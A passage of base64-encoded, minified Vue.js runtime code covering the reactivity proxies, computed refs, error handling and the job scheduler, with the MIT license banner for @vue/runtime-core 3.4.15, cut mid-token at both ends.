F07aWYobi5jb21wdXRlZCYmKE9pKG4uY29tcHV0ZWQpLHRoaXMuX2RpcnR5TGV2ZWw+PTIpKWJyZWFrfXRoaXMuX2RpcnR5TGV2ZWw8MiYmKHRoaXMuX2RpcnR5TGV2ZWw9MCksT3QoKX1yZXR1cm4gdGhpcy5fZGlydHlMZXZlbD49Mn1zZXQgZGlydHkodCl7dGhpcy5fZGlydHlMZXZlbD10PzI6MH1ydW4oKXtpZih0aGlzLl9kaXJ0eUxldmVsPTAsIXRoaXMuYWN0aXZlKXJldHVybiB0aGlzLmZuKCk7bGV0IHQ9YXQsbj13dDt0cnl7cmV0dXJuIGF0PSEwLHd0PXRoaXMsdGhpcy5fcnVubmluZ3MrKyxZcyh0aGlzKSx0aGlzLmZuKCl9ZmluYWxseXtxcyh0aGlzKSx0aGlzLl9ydW5uaW5ncy0tLHd0PW4sYXQ9dH19c3RvcCgpe3ZhciB0O3RoaXMuYWN0aXZlJiYoWXModGhpcykscXModGhpcyksKHQ9dGhpcy5vblN0b3ApPT1udWxsfHx0LmNhbGwodGhpcyksdGhpcy5hY3RpdmU9ITEpfX1mdW5jdGlvbiBPaShlKXtyZXR1cm4gZS52YWx1ZX1mdW5jdGlvbiBZcyhlKXtlLl90cmFja0lkKyssZS5fZGVwc0xlbmd0aD0wfWZ1bmN0aW9uIHFzKGUpe2lmKGUuZGVwcyYmZS5kZXBzLmxlbmd0aD5lLl9kZXBzTGVuZ3RoKXtmb3IobGV0IHQ9ZS5fZGVwc0xlbmd0aDt0PGUuZGVwcy5sZW5ndGg7dCsrKUJyKGUuZGVwc1t0XSxlKTtlLmRlcHMubGVuZ3RoPWUuX2RlcHNMZW5ndGh9fWZ1bmN0aW9uIEJyKGUsdCl7Y29uc3Qgbj1lLmdldCh0KTtuIT09dm9pZCAwJiZ0Ll90cmFja0lkIT09biYmKGUuZGVsZXRlKHQpLGUuc2l6ZT09PTAmJmUuY2xlYW51cCgpKX1sZXQgYXQ9ITAsc3M9MDtjb25zdCBHcj1bXTtmdW5jdGlvbiBrdCgpe0dyLnB1c2goYXQpLGF0PSExfWZ1bmN0aW9uIE90KCl7Y29uc3QgZT1Hci5wb3AoKTthdD1lPT09dm9pZCAwPyEwOmV9ZnVuY3Rpb24ga3MoKXtzcysrfWZ1bmN0aW9uIE9zKCl7Zm9yKHNzLS07IXNzJiZycy5sZW5ndGg7KXJzLnNoaWZ0KCkoKX1mdW5jdGlvbiBLcihlLHQsbil7aWYodC5nZXQoZSkhPT1lLl90cmFja0lkKXt0LnNldChlLGUuX3RyYWNrSWQpO2NvbnN0IHM9ZS5kZXBzW2UuX2RlcHNMZW5ndGhdO3MhPT10PyhzJiZCcihzLGUpLGUuZGVwc1tlLl9kZXBzTGVuZ3RoKytdPXQpOmUuX2RlcHNMZW5ndGgrK319Y29uc3QgcnM9W107ZnVuY3Rpb24genIoZSx0LG4pe2tzKCk7Zm9yKGNvbnN0IHMgb2YgZS5rZXlzKCkpaWYocy5fZGlydHlMZXZlbDx0JiZlLmdldChzKT09PXMuX3RyYWNrSWQpe2NvbnN0IG89cy5fZGlydHlMZXZlbDtzLl9kaXJ0eUxldmVsPXQsbz09PTAmJihzLl9zaG91bGRTY2hlZHVsZT0hMCxzLnRyaWdnZXIoKSl9V3IoZSksT3MoKX1mdW5jdGlvbiBXcihlKXtmb3IoY29uc3QgdCBvZiBlLmtleXMoKSl0LnNjaGVkdWxlciYmdC5fc2hvdWxkU2NoZWR1bGUmJighdC5fcnVubmluZ3N8fHQuYWxsb3dSZWN1cnNlKSYmZS5nZXQodCk9PT10Ll90cmFja0lkJiYodC5fc2hvdWxkU2NoZWR1bGU9ITEscnMucHVzaCh0LnNjaGVkdWxlcikpfWNvbnN0IEpyPShlLHQpPT57Y29uc3Qgbj1uZXcgTWFwO3JldHVybiBuLmNsZWFudXA9ZSxuLmNvbXB1dGVkPXQsbn0sb3M9bmV3IFdlYWtNYXAsYnQ9U3ltYm9sKCIiKSxpcz1TeW1ib2woIiIpO2Z1bmN0aW9uIEFlKGUsdCxuKXtpZihhdCYmd3Qpe2xldCBzPW9zLmdldChlKTtzfHxvcy5zZXQoZSxzPW5ldyBNYXApO2xldCBvPXMuZ2V0KG4pO298fHMuc2V0KG4sbz1KcigoKT0+cy5kZWxldGUobikpKSxLcih3dCxvKX19ZnVuY3Rpb24gdHQoZSx0LG4scyxvLHIpe2NvbnN0IGk9b3MuZ2V0KGUpO2lmKCFpKXJldHVybjtsZXQgbD1bXTtpZih0PT09ImNsZWFyIilsPVsuLi5pLnZhbHVlcygpXTtlbHNlIGlmKG49PT0ibGVuZ3RoIiYmVihlKSl7Y29uc3QgYz1OdW1iZXIocyk7aS5mb3JFYWNoKChmLF8pPT57KF89PT0ibGVuZ3RoInx8IWZ0KF8pJiZfPj1jKSYmbC5wdXNoKGYpfSl9ZWxzZSBzd2l0Y2gobiE9PXZvaWQgMCYmbC5wdXNoKGkuZ2V0KG4pKSx0KXtjYXNlImFkZCI6VihlKT9TcyhuKSYmbC5wdXNoKGkuZ2V0KCJsZW5ndGgiKSk6KGwucHVzaChpLmdldChidCkpLFJ0KGUpJiZsLnB1c2goaS5nZXQoaXMpKSk7YnJlYWs7Y2FzZSJkZWxldGUiOlYoZSl8fChsLnB1c2goaS5nZXQoYnQpKSxSdChlKSYmbC5wdXNoKGkuZ2V0KGlzKSkpO2JyZWFrO2Nhc2Uic2V0IjpSdChlKSYmbC5wdXNoKGkuZ2V0KGJ0KSk7YnJlYWt9a3MoKTtmb3IoY29uc3QgYyBvZiBsKWMmJnpyKGMsMik7T3MoKX1jb25zdCB4aT13cygiX19wcm90b19fLF9fdl9pc1JlZixfX2lzVnVlIiksWXI9bmV3IFNldChPYmplY3QuZ2V0T3duUHJvcGVydHlOYW1lcyhTeW1ib2wpLmZpbHRlcihlPT5lIT09ImFyZ3VtZW50cyImJmUhPT0iY2FsbGVyIikubWFwKGU9PlN5bWJvbFtlXSkuZmlsdGVyKGZ0KSksWHM9VGkoKTtmdW5jdGlvbiBUaSgpe2NvbnN0IGU9e307cmV0dXJuWyJpbmNsdWRlcyIsImluZGV4T2YiLCJsYXN0SW5kZXhPZiJdLmZvckVhY2godD0+e2VbdF09ZnVuY3Rpb24oLi4ubil7Y29uc3Qgcz1pZSh0aGlzKTtmb3IobGV0IHI9MCxpPXRoaXMubGVuZ3RoO3I8aTtyKyspQWUocywiZ2V0IixyKyIiKTtjb25zdCBvPXNbdF0oLi4ubik7cmV0dXJuIG89PT0tMXx8bz09PSExP3NbdF0oLi4ubi5tYXAoaWUpKTpvfX0pLFsicHVzaCIsInBvcCIsInNoaWZ0IiwidW5zaGlmdCIsInNwbGljZSJdLmZvckVhY2godD0+e2VbdF09ZnVuY3Rpb24oLi4ubil7a3QoKSxrcygpO2NvbnN0IHM9aWUodGhpcylbdF0uYXBwbHkodGhpcyxuKTtyZXR1cm4gT3MoKSxPdCgpLHN9fSksZX1mdW5jdGlvbiBBaShlKXtjb25zdCB0PWllKHRoaXMpO3JldHVybiBBZSh0LCJoYXMiLGUpLHQuaGFzT3duUHJvcGVydHkoZSl9Y2xhc3MgcXJ7Y29uc3RydWN0b3IodD0hMSxuPSExKXt0aGlzLl9pc1JlYWRvbmx5PXQsdGhpcy5fc2hhbGxvdz1ufWdldCh0LG4scyl7Y29uc3Qgbz10aGlzLl9pc1JlYWRvbmx5LHI9dGhpcy5fc2hhbGxvdztpZihuPT09Il9fdl9pc1JlYWN0aXZlIilyZXR1cm4hbztpZihuPT09Il9fdl9pc1JlYWRvbmx5IilyZXR1cm4gbztpZihuPT09Il9fdl9pc1NoYWxsb3ciKXJldHVybiByO2lmKG49PT0iX192X3JhdyIpcmV0dXJuIHM9PT0obz9yP0JpOmVvOnI/UXI6WnIpLmdldCh0KXx8T2JqZWN0LmdldFByb3RvdHlwZU9mKHQpPT09T2JqZWN0LmdldFByb3RvdHlwZU9mKHMpP3Q6dm9pZCAwO2NvbnN0IGk9Vih0KTtpZighbyl7aWYoaSYmZWUoWHMsbikpcmV0dXJuIFJlZmxlY3QuZ2V0KFhzLG4scyk7aWYobj09PSJoYXNPd25Qcm9wZXJ0eSIpcmV0dXJuIEFpfWNvbnN0IGw9UmVmbGVjdC5nZXQodCxuLHMpO3JldHVybihmdChuKT9Zci5oYXMobik6eGkobikpfHwob3x8QWUodCwiZ2V0IixuKSxyKT9sOkZlKGwpP2kmJlNzKG4pP2w6bC52YWx1ZTpmZShsKT9vP3RvKGwpOk1uKGwpOmx9fWNsYXNzIFhyIGV4dGVuZHMgcXJ7Y29uc3RydWN0b3IodD0hMSl7c3VwZXIoITEsdCl9c2V0KHQsbixzLG8pe2xldCByPXRbbl07aWYoIXRoaXMuX3NoYWxsb3cpe2NvbnN0IGM9cXQocik7aWYoIWxzKHMpJiYhcXQocykmJihyPWllKHIpLHM9aWUocykpLCFWKHQpJiZGZShyKSYmIUZlKHMpKXJldHVybiBjPyExOihyLnZhbHVlPXMsITApfWNvbnN0IGk9Vih0KSYmU3Mobik/TnVtYmVyKG4pPHQubGVuZ3RoOmVlKHQsbiksbD1SZWZsZWN0LnNldCh0LG4scyxvKTtyZXR1cm4gdD09PWllKG8pJiYoaT9FdChzLHIpJiZ0dCh0LCJzZXQiLG4scyk6dHQodCwiYWRkIixuLHMpKSxsfWRlbGV0ZVByb3BlcnR5KHQsbil7Y29uc3Qgcz1lZSh0LG4pO3Rbbl07Y29uc3Qgbz1SZWZsZWN0LmRlbGV0ZVByb3BlcnR5KHQsbik7cmV0dXJuIG8mJnMmJnR0KHQsImRlbGV0ZSIsbix2b2lkIDApLG99aGFzKHQsbil7Y29uc3Qgcz1SZWZsZWN0Lmhhcyh0LG4pO3JldHVybighZnQobil8fCFZci5oYXMobikpJiZBZSh0LCJoYXMiLG4pLHN9b3duS2V5cyh0KXtyZXR1cm4gQWUodCwiaXRlcmF0ZSIsVih0KT8ibGVuZ3RoIjpidCksUmVmbGVjdC5vd25LZXlzKHQpfX1jbGFzcyBNaSBleHRlbmRzIHFye2NvbnN0cnVjdG9yKHQ9ITEpe3N1cGVyKCEwLHQpfXNldCh0LG4pe3JldHVybiEwfWRlbGV0ZVByb3BlcnR5KHQsbil7cmV0dXJuITB9fWNvbnN0IExpPW5ldyBYcixGaT1uZXcgTWksRGk9bmV3IFhyKCEwKSx4cz1lPT5lLEFuPWU9PlJlZmxlY3QuZ2V0UHJvdG90eXBlT2YoZSk7ZnVuY3Rpb24gcm4oZSx0LG49ITEscz0hMSl7ZT1lLl9fdl9yYXc7Y29uc3Qgbz1pZShlKSxyPWllKHQpO258fChFdCh0LHIpJiZBZShvLCJnZXQiLHQpLEFlKG8sImdldCIscikpO2NvbnN0e2hhczppfT1BbihvKSxsPXM/eHM6bj9MczpNcztpZihpLmNhbGwobyx0KSlyZXR1cm4gbChlLmdldCh0KSk7aWYoaS5jYWxsKG8scikpcmV0dXJuIGwoZS5nZXQocikpO2UhPT1vJiZlLmdldCh0KX1mdW5jdGlvbiBvbihlLHQ9ITEpe2NvbnN0IG49dGhpcy5fX3ZfcmF3LHM9aWUobiksbz1pZShlKTtyZXR1cm4gdHx8KEV0KGUsbykmJkFlKHMsImhhcyIsZSksQWUocywiaGFzIixvKSksZT09PW8/bi5oYXMoZSk6bi5oYXMoZSl8fG4uaGFzKG8pfWZ1bmN0aW9uIGxuKGUsdD0hMSl7cmV0dXJuIGU9ZS5fX3ZfcmF3LCF0JiZBZShpZShlKSwiaXRlcmF0ZSIsYnQpLFJlZmxlY3QuZ2V0KGUsInNpemUiLGUpfWZ1bmN0aW9uIFpzKGUpe2U9aWUoZSk7Y29uc3QgdD1pZSh0aGlzKTtyZXR1cm4gQW4odCkuaGFzLmNhbGwodCxlKXx8KHQuYWRkKGUpLHR0KHQsImFkZCIsZSxlKSksdGhpc31mdW5jdGlvbiBRcyhlLHQpe3Q9aWUodCk7Y29uc3Qgbj1pZSh0aGlzKSx7aGFzOnMsZ2V0Om99PUFuKG4pO2xldCByPXMuY2FsbChuLGUpO3J8fChlPWllKGUpLHI9cy5jYWxsKG4sZSkpO2NvbnN0IGk9by5jYWxsKG4sZSk7cmV0dXJuIG4uc2V0KGUsdCkscj9FdCh0LGkpJiZ0dChuLCJzZXQiLGUsdCk6dHQobiwiYWRkIixlLHQpLHRoaXN9ZnVuY3Rpb24gZXIoZSl7Y29uc3QgdD1pZSh0aGlzKSx7aGFzOm4sZ2V0OnN9PUFuKHQpO2xldCBvPW4uY2FsbCh0LGUpO298fChlPWllKGUpLG89bi5jYWxsKHQsZSkpLHMmJnMuY2FsbCh0LGUpO2NvbnN0IHI9dC5kZWxldGUoZSk7cmV0dXJuIG8mJnR0KHQsImRlbGV0ZSIsZSx2b2lkIDApLHJ9ZnVuY3Rpb24gdHIoKXtjb25zdCBlPWllKHRoaXMpLHQ9ZS5zaXplIT09MCxuPWUuY2xlYXIoKTtyZXR1cm4gdCYmdHQoZSwiY2xlYXIiLHZvaWQgMCx2b2lkIDApLG59ZnVuY3Rpb24gY24oZSx0KXtyZXR1cm4gZnVuY3Rpb24ocyxvKXtjb25zdCByPXRoaXMsaT1yLl9fdl9yYXcsbD1pZShpKSxjPXQ/eHM6ZT9MczpNcztyZXR1cm4hZSYmQWUobCwiaXRlcmF0ZSIsYnQpLGkuZm9yRWFjaCgoZixfKT0+cy5jYWxsKG8sYyhmKSxjKF8pLHIpKX19ZnVuY3Rpb24gYW4oZSx0LG4pe3JldHVybiBmdW5jdGlvbiguLi5zKXtjb25zdCBvPXRoaXMuX192X3JhdyxyPWllKG8pLGk9UnQociksbD1lPT09ImVudHJpZXMifHxlPT09U3ltYm9sLml0ZXJhdG9yJiZpLGM9ZT09PSJrZXlzIiYmaSxmPW9bZV0oLi4ucyksXz1uP3hzOnQ/THM6TXM7cmV0dXJuIXQmJkFlKHIsIml0ZXJhdGUiLGM/aXM6YnQpLHtuZXh0KCl7Y29uc3R7dmFsdWU6Zyxkb25lOnZ9PWYubmV4dCgpO3JldHVybiB2P3t2YWx1ZTpnLGRvbmU6dn06e3ZhbHVlOmw/W18oZ1swXSksXyhnWzFdKV06XyhnKSxkb25lOnZ9fSxbU3ltYm9sLml0ZXJhdG9yXSgpe3JldHVybiB0aGlzfX19fWZ1bmN0aW9uIHN0KGUpe3JldHVybiBmdW5jdGlvbiguLi50KXtyZXR1cm4gZT09PSJkZWxldGUiPyExOmU9PT0iY2xlYXIiP3ZvaWQgMDp0aGlzfX1mdW5jdGlvbiAkaSgpe2NvbnN0IGU9e2dldChyKXtyZXR1cm4gcm4odGhpcyxyKX0sZ2V0IHNpemUoKXtyZXR1cm4gbG4odGhpcyl9LGhhczpvbixhZGQ6WnMsc2V0OlFzLGRlbGV0ZTplcixjbGVhcjp0cixmb3JFYWNoOmNuKCExLCExKX0sdD17Z2V0KHIpe3JldHVybiBybih0aGlzLHIsITEsITApfSxnZXQgc2l6ZSgpe3JldHVybiBsbih0aGlzKX0saGFzOm9uLGFkZDpacyxzZXQ6UXMsZGVsZXRlOmVyLGNsZWFyOnRyLGZvckVhY2g6Y24oITEsITApfSxuPXtnZXQocil7cmV0dXJuIHJuKHRoaXMsciwhMCl9LGdldCBzaXplKCl7cmV0dXJuIGxuKHRoaXMsITApfSxoYXMocil7cmV0dXJuIG9uLmNhbGwodGhpcyxyLCEwKX0sYWRkOnN0KCJhZGQiKSxzZXQ6c3QoInNldCIpLGRlbGV0ZTpzdCgiZGVsZXRlIiksY2xlYXI6c3QoImNsZWFyIiksZm9yRWFjaDpjbighMCwhMSl9LHM9e2dldChyKXtyZXR1cm4gcm4odGhpcyxyLCEwLCEwKX0sZ2V0IHNpemUoKXtyZXR1cm4gbG4odGhpcywhMCl9LGhhcyhyKXtyZXR1cm4gb24uY2FsbCh0aGlzLHIsITApfSxhZGQ6c3QoImFkZCIpLHNldDpzdCgic2V0IiksZGVsZXRlOnN0KCJkZWxldGUiKSxjbGVhcjpzdCgiY2xlYXIiKSxmb3JFYWNoOmNuKCEwLCEwKX07cmV0dXJuWyJrZXlzIiwidmFsdWVzIiwiZW50cmllcyIsU3ltYm9sLml0ZXJhdG9yXS5mb3JFYWNoKHI9PntlW3JdPWFuKHIsITEsITEpLG5bcl09YW4ociwhMCwhMSksdFtyXT1hbihyLCExLCEwKSxzW3JdPWFuKHIsITAsITApfSksW2Usbix0LHNdfWNvbnN0W1JpLE5pLFBpLFVpXT0kaSgpO2Z1bmN0aW9uIFRzKGUsdCl7Y29uc3Qgbj10P2U/VWk6UGk6ZT9OaTpSaTtyZXR1cm4ocyxvLHIpPT5vPT09Il9fdl9pc1JlYWN0aXZlIj8hZTpvPT09Il9fdl9pc1JlYWRvbmx5Ij9lOm89PT0iX192X3JhdyI/czpSZWZsZWN0LmdldChlZShuLG8pJiZvIGluIHM/bjpzLG8scil9Y29uc3QgSGk9e2dldDpUcyghMSwhMSl9LFZpPXtnZXQ6VHMoITEsITApfSxqaT17Z2V0OlRzKCEwLCExKX0sWnI9bmV3IFdlYWtNYXAsUXI9bmV3IFdlYWtNYXAsZW89bmV3IFdlYWtNYXAsQmk9bmV3IFdlYWtNYXA7ZnVuY3Rpb24gR2koZSl7c3dpdGNoKGUpe2Nhc2UiT2JqZWN0IjpjYXNlIkFycmF5IjpyZXR1cm4gMTtjYXNlIk1hcCI6Y2FzZSJTZXQiOmNhc2UiV2Vha01hcCI6Y2FzZSJXZWFrU2V0IjpyZXR1cm4gMjtkZWZhdWx0OnJldHVybiAwfX1mdW5jdGlvbiBLaShlKXtyZXR1cm4gZS5fX3Zfc2tpcHx8IU9iamVjdC5pc0V4dGVuc2libGUoZSk/MDpHaShoaShlKSl9ZnVuY3Rpb24gTW4oZSl7cmV0dXJuIHF0KGUpP2U6QXMoZSwhMSxMaSxIaSxacil9ZnVuY3Rpb24gemkoZSl7cmV0dXJuIEFzKGUsITEsRGksVmksUXIpfWZ1bmN0aW9uIHRvKGUpe3JldHVybiBBcyhlLCEwLEZpLGppLGVvKX1mdW5jdGlvbiBBcyhlLHQsbixzLG8pe2lmKCFmZShlKXx8ZS5fX3ZfcmF3JiYhKHQmJmUuX192X2lzUmVhY3RpdmUpKXJldHVybiBlO2NvbnN0IHI9by5nZXQoZSk7aWYocilyZXR1cm4gcjtjb25zdCBpPUtpKGUpO2lmKGk9PT0wKXJldHVybiBlO2NvbnN0IGw9bmV3IFByb3h5KGUsaT09PTI/czpuKTtyZXR1cm4gby5zZXQoZSxsKSxsfWZ1bmN0aW9uIE50KGUpe3JldHVybiBxdChlKT9OdChlLl9fdl9yYXcpOiEhKGUmJmUuX192X2lzUmVhY3RpdmUpfWZ1bmN0aW9uIHF0KGUpe3JldHVybiEhKGUmJmUuX192X2lzUmVhZG9ubHkpfWZ1bmN0aW9uIGxzKGUpe3JldHVybiEhKGUmJmUuX192X2lzU2hhbGxvdyl9ZnVuY3Rpb24gbm8oZSl7cmV0dXJuIE50KGUpfHxxdChlKX1mdW5jdGlvbiBpZShlKXtjb25zdCB0PWUmJmUuX192X3JhdztyZXR1cm4gdD9pZSh0KTplfWZ1bmN0aW9uIHNvKGUpe3JldHVybiB2bihlLCJfX3Zfc2tpcCIsITApLGV9Y29uc3QgTXM9ZT0+ZmUoZSk/TW4oZSk6ZSxMcz1lPT5mZShlKT90byhlKTplO2NsYXNzIHJve2NvbnN0cnVjdG9yKHQsbixzLG8pe3RoaXMuX3NldHRlcj1uLHRoaXMuZGVwPXZvaWQgMCx0aGlzLl9fdl9pc1JlZj0hMCx0aGlzLl9fdl9pc1JlYWRvbmx5PSExLHRoaXMuZWZmZWN0PW5ldyBDcygoKT0+dCh0aGlzLl92YWx1ZSksKCk9PlduKHRoaXMsMSksKCk9PnRoaXMuZGVwJiZXcih0aGlzLmRlcCkpLHRoaXMuZWZmZWN0LmNvbXB1dGVkPXRoaXMsdGhpcy5lZmZlY3QuYWN0aXZlPXRoaXMuX2NhY2hlYWJsZT0hbyx0aGlzLl9fdl9pc1JlYWRvbmx5PXN9Z2V0IHZhbHVlKCl7Y29uc3QgdD1pZSh0aGlzKTtyZXR1cm4oIXQuX2NhY2hlYWJsZXx8dC5lZmZlY3QuZGlydHkpJiZFdCh0Ll92YWx1ZSx0Ll92YWx1ZT10LmVmZmVjdC5ydW4oKSkmJlduKHQsMiksSmkodCksdC5lZmZlY3QuX2RpcnR5TGV2ZWw+PTEmJlduKHQsMSksdC5fdmFsdWV9c2V0IHZhbHVlKHQpe3RoaXMuX3NldHRlcih0KX1nZXQgX2RpcnR5KCl7cmV0dXJuIHRoaXMuZWZmZWN0LmRpcnR5fXNldCBfZGlydHkodCl7dGhpcy5lZmZlY3QuZGlydHk9dH19ZnVuY3Rpb24gV2koZSx0LG49ITEpe2xldCBzLG87Y29uc3Qgcj1LKGUpO3JldHVybiByPyhzPWUsbz1SZSk6KHM9ZS5nZXQsbz1lLnNldCksbmV3IHJvKHMsbyxyfHwhbyxuKX1mdW5jdGlvbiBKaShlKXthdCYmd3QmJihlPWllKGUpLEtyKHd0LGUuZGVwfHwoZS5kZXA9SnIoKCk9PmUuZGVwPXZvaWQgMCxlIGluc3RhbmNlb2Ygcm8/ZTp2b2lkIDApKSkpfWZ1bmN0aW9uIFduKGUsdD0yLG4pe2U9aWUoZSk7Y29uc3Qgcz1lLmRlcDtzJiZ6cihzLHQpfWZ1bmN0aW9uIEZlKGUpe3JldHVybiEhKGUmJmUuX192X2lzUmVmPT09ITApfWZ1bmN0aW9uIFlpKGUpe3JldHVybiBGZShlKT9lLnZhbHVlOmV9Y29uc3QgcWk9e2dldDooZSx0LG4pPT5ZaShSZWZsZWN0LmdldChlLHQsbikpLHNldDooZSx0LG4scyk9Pntjb25zdCBvPWVbdF07cmV0dXJuIEZlKG8pJiYhRmUobik/KG8udmFsdWU9biwhMCk6UmVmbGVjdC5zZXQoZSx0LG4scyl9fTtmdW5jdGlvbiBvbyhlKXtyZXR1cm4gTnQoZSk/ZTpuZXcgUHJveHkoZSxxaSl9LyoqCiogQHZ1ZS9ydW50aW1lLWNvcmUgdjMuNC4xNQoqIChjKSAyMDE4LXByZXNlbnQgWXV4aSAoRXZhbikgWW91IGFuZCBWdWUgY29udHJpYnV0b3JzCiogQGxpY2Vuc2UgTUlUCioqL2Z1bmN0aW9uIHV0KGUsdCxuLHMpe2xldCBvO3RyeXtvPXM/ZSguLi5zKTplKCl9Y2F0Y2gocil7TG4ocix0LG4pfXJldHVybiBvfWZ1bmN0aW9uIE5lKGUsdCxuLHMpe2lmKEsoZSkpe2NvbnN0IHI9dXQoZSx0LG4scyk7cmV0dXJuIHImJkRyKHIpJiZyLmNhdGNoKGk9PntMbihpLHQsbil9KSxyfWNvbnN0IG89W107Zm9yKGxldCByPTA7cjxlLmxlbmd0aDtyKyspby5wdXNoKE5lKGVbcl0sdCxuLHMpKTtyZXR1cm4gb31mdW5jdGlvbiBMbihlLHQsbixzPSEwKXtjb25zdCBvPXQ/dC52bm9kZTpudWxsO2lmKHQpe2xldCByPXQucGFyZW50O2NvbnN0IGk9dC5wcm94eSxsPWBodHRwczovL3Z1ZWpzLm9yZy9lcnJvci1yZWZlcmVuY2UvI3J1bnRpbWUtJHtufWA7Zm9yKDtyOyl7Y29uc3QgZj1yLmVjO2lmKGYpe2ZvcihsZXQgXz0wO188Zi5sZW5ndGg7XysrKWlmKGZbX10oZSxpLGwpPT09ITEpcmV0dXJufXI9ci5wYXJlbnR9Y29uc3QgYz10LmFwcENvbnRleHQuY29uZmlnLmVycm9ySGFuZGxlcjtpZihjKXt1dChjLG51bGwsMTAsW2UsaSxsXSk7cmV0dXJufX1YaShlLG4sbyxzKX1mdW5jdGlvbiBYaShlLHQsbixzPSEwKXtjb25zb2xlLmVycm9yKGUpfWxldCBYdD0hMSxjcz0hMTtjb25zdCBTZT1bXTtsZXQgWGU9MDtjb25zdCBQdD1bXTtsZXQgaXQ9bnVsbCxndD0wO2NvbnN0IGlvPVByb21pc2UucmVzb2x2ZSgpO2xldCBGcz1udWxsO2Z1bmN0aW9uIFppKGUpe2NvbnN0IHQ9RnN8fGlvO3JldHVybiBlP3QudGhlbih0aGlzP2UuYmluZCh0aGlzKTplKTp0fWZ1bmN0aW9uIFFpKGUpe2xldCB0PVhlKzEsbj1TZS5sZW5ndGg7Zm9yKDt0PG47KXtjb25zdCBzPXQrbj4+PjEsbz1TZVtzXSxyPVp0KG8pO3I8ZXx8cj09PWUmJm8ucHJlP3Q9cysxOm49c31yZXR1cm4gdH1mdW5jdGlvbiBEcyhlKXsoIVNlLmxlbmd0aHx8IVNlLmluY2x1ZGVzKGUsWHQmJmUuYWxsb3dSZWN1cnNlP1hlKzE6WGUpKSYmKGUuaWQ9PW51bGw/U2UucHVzaChlKTpTZS5zcGxpY2UoUWkoZS5pZCksMCxlKSxsbygpKX1mdW5jdGlvbiBsbygpeyFYdCYmIWNzJiYoY3M9ITAsRnM9aW8udGhlbihhbykpfWZ1bmN0aW9uIGVsKGUpe2NvbnN0IHQ9U2UuaW5kZXhPZihlKTt0PlhlJiZTZS5zcGxpY2UodCwxKX1mdW5jdGlvbiB0bChlKXtWKGUpP1B0LnB1c2goLi4uZSk6KCFpdHx8IWl0LmluY2x1ZGVzKGUsZS5hbGxvd1JlY3Vyc2U/Z3QrMTpndCkpJiZQdC5wdXNoKGUpLGxvKCl9ZnVuY3Rpb24gbnIoZSx0LG49WHQ/WGUrMTowKXtmb3IoO248U2UubGVuZ3RoO24rKyl7Y29uc3Qgcz1TZVtuXTtpZihzJiZzLnByZSl7aWYoZSYmcy5pZCE9PWUudWlkKWNvbnRpbnVlO1NlLnNwbGljZShuLDEpLG4tLSxzKCl9fX1mdW5jdGlvbiBjbyhlKXtpZihQdC5sZW5ndGgpe2NvbnN0IHQ9Wy4uLm5ldyBTZXQoUHQpXS5zb3J0KChuLHMpPT5adChuKS1adChzKSk7aWYoUHQubGVuZ3RoPTAsaXQpe2l0LnB1c2goLi4udCk7cmV0dXJufWZvcihpdD10LGd0PTA7Z3Q8aXQubGVuZ3RoO2d0KyspaXRbZ3RdKCk7aXQ9bnVsbCxndD0wfX1jb25zdCBadD1lPT5lLmlkPT1udWxsPzEvMDplLmlkLG5sPShlLHQpPT57Y29uc3Qgbj1adChlKS1adCh0KTtpZihuPT09MCl7aWYoZS5wcmUmJiF0LnByZSlyZXR1cm4tMTtpZih0LnByZSYmIWUucHJlKXJldHVybiAxfXJldHVybiBufTtmdW5jdGlvbiBhbyhlKXtjcz0hMSxYdD0hMCxTZS5zb3J0KG5sKTt0cnl7Zm9yKFhlPTA7WGU8U2UubGVuZ3RoO1hlKyspe2NvbnN0IHQ9U2VbWGVdO3QmJnQuYWN0aXZlIT09ITEmJnV0KHQsbnVsbCwxNCl9fWZpbmFsbHl7WGU9MCxTZS5sZW5ndGg9MCxjbygpLFh0PSExLEZzPW51bGwsKFNlLmxlbmd0aHx8UHQubGVuZ3RoKSYmYW8oKX19ZnVuY3Rpb24gc2woZSx0LC4uLm4pe2lmKGUuaXNVbm1vdW50ZWQpcmV0dXJuO2NvbnN0IHM9ZS52bm9kZS5wcm9wc3x8ZGU7bGV0IG89bjtjb25zdCByPXQuc3RhcnRzV2l0aCgidXBkYXRlOiIpLGk9ciYmdC5zbGljZSg3KTtpZihpJiZpIGluIHMpe2NvbnN0IF89YCR7aT09PSJtb2RlbFZhbHVlIj8ibW9kZWwiOml9TW9kaWZpZXJzYCx7bnVtYmVyOmcsdHJpbTp2fT1zW19dfHxkZTt2JiYobz1uLm1hcChUPT55ZShUKT9ULnRyaW0oKTpUKSksZyYmKG89bi5tYXAobnMpKX1sZXQgbCxjPXNbbD1Lbih0KV18fHNbbD1LbihIdCh0KSldOyFjJiZyJiYoYz1zW2w9S24oQ3QodCkpXSksYyYmTmUoYyxlLDYsbyk7Y29uc3QgZj1zW2wrIk9uY2UiXTtpZihmKXtpZighZS5lbWl0dGVkKWUuZW1pdHRlZD17fTtlbHNlIGlmKGUuZW1pdHRlZFtsXSlyZXR1cm47ZS5lbWl0dGVkW2xdPSEwLE5lKGYsZSw2LG8pfX1mdW5jdGlvbiB1byhlLHQsbj0hMSl7Y29uc3Qgcz10LmVtaXRzQ2FjaGUsbz1zLmdldChlKTtpZihvIT09dm9pZCAwKXJldHVybiBvO2NvbnN0IHI9ZS5lbWl0cztsZXQgaT17fSxsPSExO2lmKCFLKGUpKXtjb25zdCBjPWY9Pntjb25zdCBfPXVvKGYsdCwhMCk7XyYmKGw9ITAsd2UoaSxfKSl9OyFuJiZ0Lm1peGlucy5sZW5ndGgmJnQubWl4aW5zLmZvckVhY2goYyksZS5leHRlbmRzJiZjKGUuZXh0ZW5kcyksZS5taXhpbnMmJmUubWl4aW5zLmZvckVhY2goYyl9cmV0dXJuIXImJiFsPyhmZShlKSYmcy5zZXQoZSxudWxsKSxudWxsKTooVihyKT9yLmZvckVhY2goYz0+aVtjXT1udWxsKTp3ZShpLHIpLGZlKGUpJiZzLnNldChlLGkpLGkpfWZ1bmN0aW9uIEZuKGUsdCl7cmV0dXJuIWV8fCFrbih0KT8hMToodD10LnNsaWNlKDIpLnJlcGxhY2UoL09uY2UkLywiIiksZWUoZSx0WzBdLnRvTG93ZXJDYXNlKCkrdC5zbGljZSgxKSl8fGVlKGUsQ3QodCkpfHxlZShlLHQpKX1sZXQgVGU9bnVsbCxEbj1udWxsO2Z1bmN0aW9uIHluKGUpe2NvbnN0IHQ9VGU7cmV0dXJuIFRlPWUsRG49ZSYmZS50eXBlLl9fc2NvcGVJZHx8bnVsbCx0fWZ1bmN0aW9uIGZvKGUpe0RuPWV9ZnVuY3Rpb24gaG8oKXtEbj1udWxsfWZ1bmN0aW9uIGFlKGUsdD1UZSxuKX